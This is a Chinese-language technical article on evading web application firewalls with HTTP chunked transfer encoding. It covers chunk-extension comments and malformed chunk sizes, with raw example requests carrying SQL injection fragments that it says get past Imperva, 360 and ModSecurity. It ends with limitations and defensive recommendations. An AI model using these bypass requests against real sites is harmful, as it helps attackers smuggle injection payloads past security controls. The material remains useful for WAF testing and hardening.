利用分块传输吊打所有WAF
字数 1147 2025-08-18 11:37:53
HTTP分块传输绕过WAF技术详解
1. 分块传输基础
分块传输编码(Chunked Transfer Coding)是HTTP/1.1协议中定义的一种传输机制,允许服务器将数据分成一系列块发送,每个块都有自己的大小指示器。
1.1 分块传输格式规范
根据RFC7230规范,分块传输的基本格式如下:
chunked-body = *chunk last-chunk trailer-part CRLF
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-size = 1*HEXDIG
last-chunk = 1*("0") [ chunk-ext ] CRLF
chunk-data = 1*OCTET ; a sequence of chunk-size octets
关键点:
- 每个块由块大小(十六进制)、可选扩展、CRLF、块数据和CRLF组成
- 最后一个块的大小为0
- 块扩展可以包含元数据、控制信息或随机化消息体大小
2. 绕过WAF的技术
2.1 使用注释扰乱分块数据包
技术原理:
分块传输允许在长度标识处添加分号";"作为注释,格式为:chunk-size [ chunk-ext ],其中chunk-ext可以包含注释。
示例:
9;kkkkk1234567=14;ooo=22223450\r\n
[chunk-data]\r\n
绕过效果:
- Imperva、360等高级WAF虽然能处理常规分块传输
- 但大多数WAF无法正确处理分块数据包中长度标识处的注释
- 导致WAF无法正确识别和重组数据包
实际案例:
常规分块传输被拦截:
POST /xxxxxx.jsp HTTP/1.1
...
Transfer-Encoding: Chunked
9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1d
9&a=1 and 32=20
\r\n
添加注释后成功绕过:
POST /xxxxxx.jsp HTTP/1.1
...
Transfer-Encoding: Chunked
9;xxxxxxxxx
xx=xxxxxx
9;xxxxxxxxx
1;testsdasdsadd
9;test&a=1 and 3;test444442=20
\r\n
2.2 绕过ModSecurity的技术
技术原理:
ModSecurity作为中间件插件,依赖中间件解析HTTP数据包。通过发送畸形的分块数据包,利用中间件的容错性使ModSecurity无法正确处理请求。
技术特点:
- ModSecurity会直接获取中间件处理后的完整HTTP数据包
- 常规分块或加注释的分块都无法绕过
- 但发送畸形的分块数据包可能导致中间件报错但仍处理请求
实际案例:
常规请求被拦截:
http://10.10.10.10/sql.php?id=2%20union
畸形分块请求绕过:
POST /sql.php?id=2%20union HTTP/1.1
...
Transfer-Encoding: chunked
1aa
0
\r\n
响应结果:
虽然Apache返回400错误,但参数仍传递到PHP,绕过了ModSecurity的检测。
2.3 绕过响应内容检测
当ModSecurity配置为过滤响应内容时(如包含"root"关键字),可通过以下方式绕过:
- 正常请求被拦截:
http://10.10.10.10/sql.php?id=1
- 畸形分块请求:
POST /sql.php?id=1 HTTP/1.1
Host: 10.10.10.10
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 163
123
10
\r\n
- 结果:
- Apache返回400错误
- 但响应中仍包含"root"关键字
- ModSecurity未检测400错误的数据包
3. 技术限制
- 无法绕过Filter类防护
- 无法绕过代码层通用防护
- 对某些特殊设计的WAF可能无效
4. 防御建议
- WAF应完整实现RFC7230规范,正确处理分块传输中的注释
- 中间件应对畸形分块请求进行严格校验
- 采用多层防御策略,不依赖单一防护手段
- 及时更新WAF规则和中间件版本
5. 总结
分块传输绕过WAF的技术主要包括:
- 利用分块长度标识处的注释干扰WAF解析
- 发送畸形分块数据包利用中间件容错性绕过检测
- 这些技术对Imperva、ModSecurity等主流WAF有效
该漏洞于2017年4月已提交给ModSecurity官方,但截至文章发布时间仍未完全修复。